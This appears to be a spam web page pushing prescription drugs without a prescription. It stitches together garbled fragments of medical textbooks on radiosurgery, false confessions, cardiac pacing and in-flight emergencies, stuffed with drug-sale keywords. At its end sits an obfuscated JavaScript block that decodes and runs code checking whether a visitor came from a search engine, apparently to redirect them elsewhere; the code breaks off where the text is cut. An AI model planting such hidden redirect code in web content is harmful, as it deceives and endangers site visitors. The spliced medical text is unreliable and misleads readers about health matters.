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Of note, majority of patients had received antibiotics prior to device removal in this study. Microneurosurgery order sildigra in india, Volume 4b: Microneurosurgery of bined surgical and radiotherapeutic treatment of 260 patients purchase sildigra 120mg with visa. Extrasellar extensions of pituitary adenomas: Transsphenoidal microsurgery for prolactin- Neurosurg 1953;10: Acta Neurochir Suppl Wien 1996;65: Neurosurgery magnetic resonance imaging to determine the extent of resection 20, No Prescription Sildigra Generic Online, Suppl 3: Cerebrospinal fuid rhinorrhea sion 551—552 following trans-sphenoidal pituitary macroadenoma surgery: Clin Neurol Neurosurg 2008;110: The orbitozygomatic infratemporal buy Orlistat and endoscope in the direct approach: Microscopic and endoscopic trans- Neurosurgery 2008;62: Endoscopic J Neurosurg 2005;102: Brown The use of radiation for scientifc and no Prescription Sildigra Generic Online purposes dates High-energy electromagnetic radiation interacts with back over 100 years with the discovery of the x-ray by Conrad matter, removing electrons from their orbits, resulting in Roentgen in 18951 and the isolation of radium by Madame ionization and the release of energy.

In the 1920s, Coutard and Regaud are not dependent on the atomic number of the substance showed that by dividing the total dose into many smaller with which the x-ray is interacting, but only on the density treatments, No Prescription Sildigra Generic Online, delivered over several weeks, tumors could be of the absorbing material.

The start of the modern era of external- the energies typically used for diagnostic radiology but is beam radiation therapy began with the appearance of the inefective with the no Prescription Sildigra Generic Online energies typically used in radio- cobalt-60 machines in the mid-1950s. In addition the lack of penetration of electrons, No Prescription Sildigra Generic Online, they are rarely used in to photons, linear accelerators are able to produce electrons, the treatment of intracranial diseases. In contrast, other which have a fnite range in tissue that allows tailoring the forms of particulate radiation, such as protons and neu- depth of penetration to the exact clinical situation. The density of ionizations no Prescription Sildigra Generic Online the pathway of these par- ticles is much greater than that of x-rays.

In contrast to neutrons, the advantage of protons is in their dose distri- I Physical Properties of Radiation 4 bution. Protons deposit most of their energy at the end of Ionizing radiation is composed of particulate radiation and their track range in tissue, called the Bragg peak. Although some radiation treat- ergy delivered to tissue proximal to the peak is minimal. Electromagnetic ra- deposited in large amounts in a region while sparing the diation is part of a continuum of waveform energy known as adjacent tissues. In contrast, gamma rays are emitted from the act with water because cells are primarily composed of nucleus during nuclear decay. Therefore, a device is needed to accurately direct efect is the predominant process in heavy particle reposition the patient on a day-to-day basis.

To Cell Death from Radiation provide consistent references points, fducial markers are placed on the mask. Because the treatment may last several weeks, a gle-strand breaks seem to play a relatively minor role in the repeatable head fxation device is an absolute requirement lethality of ionizing radiation compared with double-strand 5 for any facility performing stereotactic radiation therapy breaks.

These devices often include a relocatable no Prescription Sildigra Generic Online frame capable of repairing single-strand breaks with great ef- stabilized by a mouth-guard—type bite block. Several cell divisions may occur no Prescription Sildigra Generic Online the lethal formed using conventional fuoroscopic units to visualize efects of radiation are expressed. Some cells do not have to go no Prescription Sildigra Generic Online mitosis to planning scans are conducted under the same conditions succumb to radiation but instead die from programmed cell 6 on a fat table with no Prescription Sildigra Generic Online immobilization devices used death or apoptosis.

An apoptotic event is irreversible, and for treatment of the patient on the linear accelerator. By achieving a homoge- gery the repair mechanisms of even normal tissues can be neous dose distribution, areas of excessive dose are avoided, overwhelmed, and radiation damage can occur along with thereby decreasing the risk of radiation damage.

Methods to accomplish this dosimetric goal doses per fraction 3 to 7 Gy to achieve a lower total dose include the use of multiple, nonoverlapping, conformal radia- 20 to 30 Gy, has also been employed by some centers. Computer-controlled tungsten fractionation or high-dose, single-fraction techniques, there leaves, or multileaf collimators, are individual leaves that shift are no long-term studies on tumor control or toxicities. In addition to blocks, wedges are often added to alter the radiation beam dose distribution to allow no Prescription Sildigra Generic Online uni- I Stereotactic Radiosurgery form dose distribution within the treatment volume.

Instead of clinicians defning beam di- cise delivery of radiation to an imaging-defned target. Lars rections, beam weights, wedges, blocks, and margins, and Leksell,9 neurosurgeon at the Karolinska Institute in Stock- no Prescription Sildigra Generic Online computing and displaying dose distributions to assess holm, Sweden, conceived the concept of stereotactic radio- whether the treatment plan will lead to an acceptable out- surgery in 1951. Sophisti- sell10 coupled stereotactic localization with the delivery of a cated algorithms of the inverse treatment planning system large, single-fraction dose of ionizing radiation. Hundreds to thou- tance and has become an integral part of both neurosurgery sands of small, modulated radiation beams strike a tumor and radiation oncology. Advances in neuroimaging and im- site with varying intensities, and from many angles, to at- proved computer software have made radiosurgery safer tack the target in a complete 3D manner.

A comparison of and more efective in the management of a wide range of linear accelerator—based radiosurgery, fxed noncoplanar disorders afecting the nervous system.

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In contrast to conven- Typically, the patient receives fve treatments a buy Amoxicillin one tional fractionated radiation therapy, radiosurgery does not a day, Monday no Prescription Sildigra Generic Online Friday. Along with these no Prescription Sildigra Generic Online treat- rely on the increased radiation sensitivity of the target com- ments, most centers utilizing stereotactic radiotherapy also pared with the normal brain.

Suction applied to the airway can help facilitate a more rapid deflation of the lung buy sildigra canada. In some cases buy sildigra online from canada, carbon dioxide is insufflated into the pleural cavity to facilitate visualization cheap 50mg sildigra with mastercard.

Wrinkled skin occurs in people whose faces are covered with wind for a long time and burns the sun. Everyone has their own individual stability, but the sun eventually deprives the skin of the face of the fats it produces, as a result of no Prescription Sildigra Generic Online it becomes dry and aging. The sun not only ages our skin, but also is the initiator of many human skin diseases. It is necessary to avoid prolonged exposure to the sun. Do this and then, when windy weather. If there is no suitable cream, ordinary petroleum buy Sumatriptan richly no Prescription Sildigra Generic Online, is also suitable for this purpose.

In this section, the important psychological aspects of interrogation and confession are considered and the role the forensic physician can play in ensuring that suspects buy Diflucan the first such no Prescription Sildigra Generic Online written for British officers.

Although studies in the United Kingdom have suggested that coercive interview techniques are employed less frequently than in the past, manipulative and persuasive tactics continue to be used, No Prescription Sildigra Generic Online, particularly in relation to more serious crimes 43,44. Care of Detainees 217 Interrogators are encouraged to look for nonverbal signs of anxiety, which are often assumed to indicate deception. Innocent suspects may be anxious because they are no Prescription Sildigra Generic Online being accused of being guilty, because of wor- ries about what is going to happen to them while in custody, and no Prescription Sildigra Generic Online because of concerns that the police may discover some previous transgres- sion, No Prescription Sildigra Generic Online.

Furthermore, there are three aspects of a police interview that are likely to be as stressful to the no Prescription Sildigra Generic Online as to the guilty: All these factors can markedly impair the performance of a suspect during an interview. Given the interview techniques employed by the police and the stresses interrogation places on the accused, there is little wonder that false confes- sions are occasionally made to the police. In reviewing 70 wrongful imprisonments that occurred between 1950 and 1970, Brandon and Davies 49 found that false confessions were second only to incorrect identification yale.epidemictoemotion.org as the most common cause of wrongful conviction, No Prescription Sildigra Generic Online.

More recently, in 1994, No Prescription Sildigra Generic Online, Justice 50 identified 89 cases in which an alleged yale.epidemictoemotion.org of justice rested on a disputed confession. Thus, No Prescription Sildigra Generic Online, it is clear that people can and do make no Prescription Sildigra Generic Online and misleading admissions against their own interest. There is no single reason why people falsely confess to crimes they have not committed. Indeed, such confessions usually result from a combination of factors unique to the no Prescription Sildigra Generic Online case. These categories are voluntary, accommodating-compliant, coerced-com- pliant, and coerced-internalized. Voluntary False Confessions Voluntary false confessions are offered by individuals without any exter- nal pressure from the police.

Commonly, the individuals go voluntarily to the police to confess to a crime they may have read about in the press or seen reported on television. Often, they do so out of a morbid desire for notoriety because the individual seemingly has a pathological desire to become infa- mous, even at the risk of facing possible imprisonment. The guilt may concern no Prescription Sildigra Generic Online or imagined past transgressions or, occa- sionally, may be part of the constant feeling of guilt felt by some individuals with a poor self-image and high levels of trait anxiety. By contrast, some people making this type of confession do so because they are no Prescription Sildigra Generic Online to distinguish between fact and fantasy.

Such individuals are unable to differentiate between real events and events that originate in their thinking, imagination, or planning. Such a breakdown in reality monitoring is normally associated with major psychiatric illness, such as schizophrenia. Occasionally, people may volunteer a false confession to assist or protect the real culprit. Gudjonsson 52 highlights some evidence that confessing to crimes to protect others may be particularly common in juvenile delinquents.

Finally, Shepherd 53 identifies a subset of individuals who falsely con- fess to crimes to preempt further investigation of a more serious crime. Accommodating-Compliant False Confessions Expanding on the original three distinct categories of false confession, Shepherd recognizes a group of people for whom acquiescing with the police is more important than contradicting police assertions about what happened.

In such circumstances, a false confession arises from a strong need for approval and to be liked. Police conduct is noncoercive, although it does involve the use of no Prescription Sildigra Generic Online questions sufficiently obvious to suggest to the suspect what answers the police want to hear. People at all intellectual levels are at risk of behaving in this manner, with those who are excessively no Prescription Sildigra Generic Online being at greatest risk. Coerced-Compliant False Confessions Coerced-compliant false confessions are typically elicited during persua- sive interrogation: The suspect does not confess voluntarily but comes to give into the demands and pressures of the interrogators.

He or she is fully aware of not having committed the crime of which he or she is accused, and the con- fession is usually retracted once the immediate threat is gone. Care of Detainees 219 Gudjonsson 52 suggests that the four main types of perceived immediate gain are: In these circumstances, the suspect may be vaguely or fully aware of the consequences of making a false self-incriminating statement, but the perceived immediate gain outweighs, in his or her mind, the potential long-term conse- quences. This type of confession can happen under the following two distinct conditions: The suspects have no memory of the no Prescription Sildigra Generic Online offense, even whether or not they committed it. Upon cessation of pacing there is a V-A-A- V response prior to resumption of the tachycardia. Ventricular pacing is associated with retrograde conduction, but upon cessation of pacing the tachycardia resumes no Prescription Sildigra Generic Online a V-A-V response.

The former response is diagnostic of atrial tachycardia, and the latter excludes it. An easy way to do this is to note the response to ventricular stimulation during the tachycardia. An exception to this can occur if there are dual A-V nodal pathways and ventricular pacing shifts antegrade conduction to the slow pathway, yielding a long postpacing cycle. This can be sorted out by comparing the V-A interval during pacing to that during the tachycardia. Finally, para-Hisian pacing can be used to document the presence of an accessory pathway; when a septal pathway is present the St-A will be the same with His capture and pure ventricular capture; while if an accessory pathway is absent, a marked difference between stimulus to A when His capture is lost and pure ventricular pacing ensues. All of the maneuvers discussed above are not useful in the presence of very decremental pathways or left free-wall pathways.

In the presence of a septal accessory pathway the difference always is more positive than 30 msec. The request for a no Prescription Sildigra Generic Online screening may be triggered because a pas- senger makes a statement regarding a medical condition or may appear obvi- ously ill or in distress proven sildigra 25 mg. For patients identifed as having a potentially communicable disease buy discount sildigra 50 mg online, there may be questions regarding the risk of exposure of other passengers and any precautions that may be necessary.

Recommendations must avoid any discrimination against passengers and ensure the right to free movement. Guidelines for prefight screenings have been published by the International Air Transport Associationand specifc recommendations regarding prefight medical therapies are provided in Chapter 14 of this book. Individual airlines may also have their own medical guidelines for passenger ftness to fy. Other occu- pational health questions are typically addressed by the medical department of the airline. When a potential medical emergency involves a member of the fight crew, recommendations should always be discussed with the pilot in command to obtain consensus on the best course of action.

In some cases, a pilot may be the patient and diversion may be advisable even in circumstances where continuation to des- tination would be appropriate for a passenger e. In most cases, the recommendation will be for fight crew members with an ongoing medical concern to be removed from onboard duties, as appropriate considering the type of medical concern, available staff, and needs for safe operation of the aircraft. Upon completion of the fight, airline poli- cies should address the mechanism for a fight crew member to be cleared to return to fight duties.

Additional buy Risperdal to cabin crew may be provided to protect against disease transmission, such as use of face masks, gloves, and strict hand hygiene. In some cases, passengers may be moved away from other passengers if no Prescription Sildigra Generic Online allows.

The Public Health Agency of Canada has similar regional Quarantine Stations to which their respective reports should be made. Following notifcation, the public health entity has the authority to quarantine passengers, though this is exceedingly no Prescription Sildigra Generic Online. In most cases, information is obtained from the airline, the passenger may be interviewed or evaluated at the airport, and follow-up may be performed as determined by the public health entity.

Once communications are established, the con- sultation may be led onboard by the pilot in command, copilot, or other fight crew 156 C. Radio communications are typically no Prescription Sildigra Generic Online through regional communica- tions centers. A consideration in using radio communications is that different fre- quency bands are utilized for different parts of the United States and Canada, as they are across the world. As the fight moves away from one radio tower, the signal may fade and the aircraft may need to switch frequency. Usually it is the most effcient means of communication, yet satellite positioning may limit the ability to communicate and lead to dropped calls.

It is not normally used over continental North America, where the radio network is easily accessed by aircraft; instead, it is used more commonly for transoceanic fights.

• Using this catheter, we observed a retrograde His potential in 86 of 100 consecutive patients in whom we attempted to record it.
• However, there may be other company reasons to divert, including crew exhaustion, bio- logical contamination, or other operational concerns.

Internet communication systems are no Prescription Sildigra Generic Online buy Bupropion available on com- mercial airlines. The nature of the event and airline policies also infuence whether the fight attendant asks for an onboard medi- cal volunteer to assess the passenger and assist in the management of the medical emergency.

This information may be provided from the pilot, from the fight no Prescription Sildigra Generic Online, or directly from a medical volunteer. Additional recommendations may include whether to divert the aircraft or continue to the intended destination. This recommendation may be infuenced by the immediate need for additional medical interventions, a determination that the patient will need to be transported to the hospital, or the need to medically screen the passenger prior to making a connection following an onboard medical emergency.

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The pilot in command also makes the fnal determination of whether a pas- senger can board an aircraft, in consideration of the safety of that passenger and everyone no Prescription Sildigra Generic Online on board. In the United States, no legal requirement exists requiring interven- tion by onboard medical volunteer providers. First, the type of provider who is accepted by the airline may vary from airline to air- line; no Prescription Sildigra Generic Online airlines may require proof of licensure prior to rendering assistance. The medical volunteer should be sober and able to provide a business card or other identifcation to the fight attendant. The pilot in command is the primary incident commander and utilizes the information avail- able from all sources when making critical decisions.

This may include input on use or future cheap Indocin no Prescription Sildigra Generic Online decision makers, No Prescription Sildigra Generic Online. A fight with 30 min or less remaining will not save any time by diverting to an alternate airport. Additionally, different airports will have different nearby medical facilities and the closest airport may not be located near facilities that would best serve the patient.

Thus, dispatch must be involved in assessing and making deci- sions regarding any potential diversion. This may include fights over the oceans or poles, fights over countries where political or other considerations preclude landing, or situations where it is unsafe to immediately land as is the case with overweight aircraft soon after takeoff.

J7Ts1V

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,54,48,53,122,113,51,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,83,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+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